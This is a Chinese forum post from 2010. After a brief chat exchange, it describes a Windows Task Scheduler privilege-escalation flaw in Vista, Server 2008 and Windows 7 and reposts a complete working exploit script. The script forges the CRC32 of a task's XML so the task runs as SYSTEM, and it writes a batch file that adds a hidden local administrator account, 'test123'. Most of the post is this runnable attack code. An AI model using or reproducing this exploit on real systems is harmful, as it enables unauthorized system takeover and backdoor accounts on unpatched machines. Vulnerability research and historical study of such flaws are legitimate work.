红芽芋 发表于 2010-11-24 23:38
谢谢老板,不过校园网不给力
你真是大悲剧。
Microsoft Windows任务调度服务本地权限提升漏洞
影响版本:
Microsoft Windows Vista
Microsoft Windows Server 2008
Microsoft Windows 7
漏洞描述:
Windows的任务调度服务实现上存在访问验证漏洞,本地攻击者可能利用此漏洞把自身的权限提升到SYSTEM权限,从而获取系统的完全控制。
任务调度服务没能正确阻止用户通过COM接口修改XML定义文件中的某些字段,导致恶意用户操纵一个有效的XML文件并绕过CRC校验,实现以SYSTEM权限执行任意指令。
测试方法:- # Exploit Title: Windows Task Scheduler Privilege Escalation 0day
- # Date: 20-11-2010
- # Author: webDEViL
- # Tested on: Windows 7/2008 x86/x64
-
-
- <job id="tasksch-wD-0day">
- <script language="Javascript">
-
- crc_table = new Array(
- 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419,
- 0x706AF48F, 0xE963A535, 0x9E6495A3, 0x0EDB8832, 0x79DCB8A4,
- 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07,
- 0x90BF1D91, 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE,
- 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, 0x136C9856,
- 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9,
- 0xFA0F3D63, 0x8D080DF5, 0x3B6E20C8, 0x4C69105E, 0xD56041E4,
- 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B,
- 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3,
- 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, 0x26D930AC, 0x51DE003A,
- 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599,
- 0xB8BDA50F, 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924,
- 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, 0x76DC4190,
- 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F,
- 0x9FBFE4A5, 0xE8B8D433, 0x7807C9A2, 0x0F00F934, 0x9609A88E,
- 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01,
- 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED,
- 0x1B01A57B, 0x8208F4C1, 0xF50FC457, 0x65B0D9C6, 0x12B7E950,
- 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3,
- 0xFBD44C65, 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2,
- 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, 0x4369E96A,
- 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5,
- 0xAA0A4C5F, 0xDD0D7CC9, 0x5005713C, 0x270241AA, 0xBE0B1010,
- 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F,
- 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17,
- 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, 0xEDB88320, 0x9ABFB3B6,
- 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615,
- 0x73DC1683, 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8,
- 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, 0xF00F9344,
- 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB,
- 0x196C3671, 0x6E6B06E7, 0xFED41B76, 0x89D32BE0, 0x10DA7A5A,
- 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5,
- 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1,
- 0xA6BC5767, 0x3FB506DD, 0x48B2364B, 0xD80D2BDA, 0xAF0A1B4C,
- 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF,
- 0x4669BE79, 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236,
- 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, 0xC5BA3BBE,
- 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31,
- 0x2CD99E8B, 0x5BDEAE1D, 0x9B64C2B0, 0xEC63F226, 0x756AA39C,
- 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713,
- 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B,
- 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, 0x86D3D2D4, 0xF1D4E242,
- 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1,
- 0x18B74777, 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C,
- 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, 0xA00AE278,
- 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7,
- 0x4969474D, 0x3E6E77DB, 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66,
- 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9,
- 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605,
- 0xCDD70693, 0x54DE5729, 0x23D967BF, 0xB3667A2E, 0xC4614AB8,
- 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B,
- 0x2D02EF8D
- );
-
- var hD='0123456789ABCDEF';
-
- function dec2hex(d) {
- h='';
- for (i=0;i<8;i++) {
- h = hD.charAt(d&15)+h;
- d >>>= 4;
- }
- return h;
- }
- function encodeToHex(str){
- var r="";
- var e=str.length;
- var c=0;
- var h;
- while(c<e){
- h=str.charCodeAt(c++).toString(16);
- while(h.length<3) h="0"+h;
- r+=h;
- }
- return r;
- }
- function decodeFromHex(str){
- var r="";
- var e=str.length;
- var s=0;
- while(e>1){
-
- r=r+String.fromCharCode("0x"+str.substring(s,s+2));
-
- s=s+2;
- e=e-2;
- }
-
- return r;
-
- }
-
-
- function calc_crc(anyForm) {
-
- anyTextString=decodeFromHex(anyForm);
-
- Crc_value = 0xFFFFFFFF;
- StringLength=anyTextString.length;
- for (i=0; i<StringLength; i++) {
- tableIndex = (anyTextString.charCodeAt(i) ^ Crc_value) & 0xFF;
- Table_value = crc_table[tableIndex];
- Crc_value >>>= 8;
- Crc_value ^= Table_value;
- }
- Crc_value ^= 0xFFFFFFFF;
- return dec2hex(Crc_value);
-
- }
-
- function rev_crc(leadString,endString,crc32) {
- //
- // First, we calculate the CRC-32 for the initial string
- //
- anyTextString=decodeFromHex(leadString);
-
- Crc_value = 0xFFFFFFFF;
- StringLength=anyTextString.length;
- //document.write(alert(StringLength));
- for (var i=0; i<StringLength; i++) {
- tableIndex = (anyTextString.charCodeAt(i) ^ Crc_value) & 0xFF;
- Table_value = crc_table[tableIndex];
- Crc_value >>>= 8;
- Crc_value ^= Table_value;
- }
- //
- // Second, we calculate the CRC-32 without the final string
- //
- crc=parseInt(crc32,16);
- crc ^= 0xFFFFFFFF;
- anyTextString=decodeFromHex(endString);
- StringLength=anyTextString.length;
- for (var i=0; i<StringLength; i++) {
- tableIndex=0;
- Table_value = crc_table[tableIndex];
- while (((Table_value ^ crc) >>> 24) & 0xFF) {
- tableIndex++;
- Table_value = crc_table[tableIndex];
- }
- crc ^= Table_value;
- crc <<= 8;
- crc |= tableIndex ^ anyTextString.charCodeAt(StringLength - i -1);
- }
- //
- // Now let's find the 4-byte string
- //
- for (var i=0; i<4; i++) {
- tableIndex=0;
- Table_value = crc_table[tableIndex];
- while (((Table_value ^ crc) >>> 24) & 0xFF) {
- tableIndex++;
- Table_value = crc_table[tableIndex];
- }
- crc ^= Table_value;
- crc <<= 8;
- crc |= tableIndex;
- }
- crc ^= Crc_value;
- //
- // Finally, display the results
- //
- var TextString=dec2hex(crc);
- var Teststring='';
- Teststring=TextString.substring(6,8);
- Teststring+=TextString.substring(4,6);
- Teststring+=TextString.substring(2,4);
- Teststring+=TextString.substring(0,2);
- return Teststring
- }
- function decodeFromHex(str){
- var r="";
- var e=str.length;
- var s=0;
- while(e>1){
-
- r=r+String.fromCharCode("0x"+str.substring(s,s+2));
-
- s=s+2;
- e=e-2;
- }
-
- return r;
-
- }
- </script>
-
-
-
- <script language="VBScript">
- dim output
- set output = wscript.stdout
- output.writeline " Task Scheduler 0 day - Privilege Escalation "
- output.writeline " Should work on Vista/Win7/2008 x86/x64"
- output.writeline " webDEViL - w3bd3vil [at] gmail [dot] com" & vbCr & vbLf
- biatchFile = WScript.CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2)+"\xpl.bat"
- Set objShell = CreateObject("WScript.Shell")
- objShell.Run "schtasks /create /TN wDw00t /sc monthly /tr """+biatchFile+"""",,True
-
- Set fso = CreateObject("Scripting.FileSystemObject")
- Set a = fso.CreateTextFile(biatchFile, True)
- a.WriteLine ("net user /add test123 test123")
- a.WriteLine ("net localgroup administrators /add test123")
- a.WriteLine ("schtasks /delete /f /TN wDw00t")
-
- Function ReadByteArray(strFileName)
- Const adTypeBinary = 1
- Dim bin
- Set bin = CreateObject("ADODB.Stream")
- bin.Type = adTypeBinary
- bin.Open
- bin.LoadFromFile strFileName
- ReadByteArray = bin.Read
- 'output.writeline ReadByteArray
- End Function
-
- Function OctetToHexStr (arrbytOctet)
- Dim k
- OctetToHexStr = ""
- For k = 3 To Lenb (arrbytOctet)
- OctetToHexStr = OctetToHexStr _
- & Right("0" & Hex(Ascb(Midb(arrbytOctet, k, 1))), 2)
- Next
- End Function
- strFileName="C:\windows\system32\tasks\wDw00t"
-
- hexXML = OctetToHexStr (ReadByteArray(strFileName))
- 'output.writeline hexXML
- crc32 = calc_crc(hexXML)
- output.writeline "Crc32 Original: "+crc32
-
-
- Set xmlDoc = CreateObject("Microsoft.XMLDOM")
- 'permissions workaround
- 'objShell.Run "cmd /c copy C:\windows\system32\tasks\wDw00t .",,True
- 'objShell.Run "cmd /c schtasks /query /XML /TN wDw00t > wDw00t.xml",,True
- Set objShell = WScript.CreateObject("WScript.Shell")
- Set objExecObject = objShell.Exec("cmd /c schtasks /query /XML /TN wDw00t")
-
- Do Until objExecObject.StdOut.AtEndOfStream
- strLine = strLine & objExecObject.StdOut.ReadLine()
- Loop
- hexXML = "FFFE3C00"+OctetToHexStr(strLine)
- 'output.writeline hexXML
- Set ts = fso.createtextfile ("wDw00t.xml")
- For n = 1 To (Len (hexXML) - 1) step 2
- ts.write Chr ("&h" & Mid (hexXML, n, 2))
- Next
- ts.close
-
- xmlDoc.load "wDw00t.xml"
- Set Author = xmlDoc.selectsinglenode ("//Task/RegistrationInfo/Author")
- Author.text = "LocalSystem"
- Set UserId = xmlDoc.selectsinglenode ("//Task/Principals/Principal/UserId")
- UserId.text = "S-1-5-18"
- xmldoc.save(strFileName)
-
- hexXML = OctetToHexStr (ReadByteArray(strFileName))
-
- leadString=hexXML+"3C0021002D002D00"
- endString="2D002D003E00"
- 'output.writeline leadString
- impbytes=rev_crc(leadString,endString,crc32)
- output.writeline "Crc32 Magic Bytes: "+impbytes
-
- finalString = leadString+impbytes+endString
- forge = calc_crc(finalString)
- output.writeline "Crc32 Forged: "+forge
-
- strHexString="FFFE"+finalString
- Set fso = CreateObject ("scripting.filesystemobject")
- Set stream = CreateObject ("adodb.stream")
-
- Set ts = fso.createtextfile (strFileName)
-
- For n = 1 To (Len (strHexString) - 1) step 2
- ts.write Chr ("&h" & Mid (strHexString, n, 2))
- Next
- ts.close
-
-
- Set objShell = CreateObject("WScript.Shell")
- objShell.Run "schtasks /change /TN wDw00t /disable",,True
- objShell.Run "schtasks /change /TN wDw00t /enable",,True
- objShell.Run "schtasks /run /TN wDw00t",,True
-
- </script>
- </job>
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